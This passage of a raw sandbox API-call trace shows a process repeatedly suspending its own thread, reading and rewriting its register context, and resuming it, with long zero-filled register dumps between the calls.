ResumeThread (hThread=0x1d8) returned 0x1 [0171.979] CloseHandle (hObject=0x1d8) returned 1 [0171.979] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.085] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.213] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0172.213] SuspendThread (hThread=0x1d8) returned 0x0 [0172.213] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x2844f908, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f73ffe0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.214] ResumeThread (hThread=0x1d8) returned 0x1 [0172.214] CloseHandle (hObject=0x1d8) returned 1 [0172.214] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.323] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.429] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0172.429] SuspendThread (hThread=0x1d8) returned 0x0 [0172.430] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000379da8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fab50e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.430] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000379da0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.431] ResumeThread (hThread=0x1d8) returned 0x1 [0172.431] CloseHandle (hObject=0x1d8) returned 1 [0172.431] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.441] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.444] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.445] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0172.457] timeEndPeriod (uPeriod=0x1) returned 0x0 [0172.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x74d4) returned 0x0 [0172.599] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0172.599] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0172.599] SuspendThread (hThread=0x1d8) returned 0x0 [0172.600] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10283, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000373410, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f862050, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0172.602] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10283, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000373408, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, 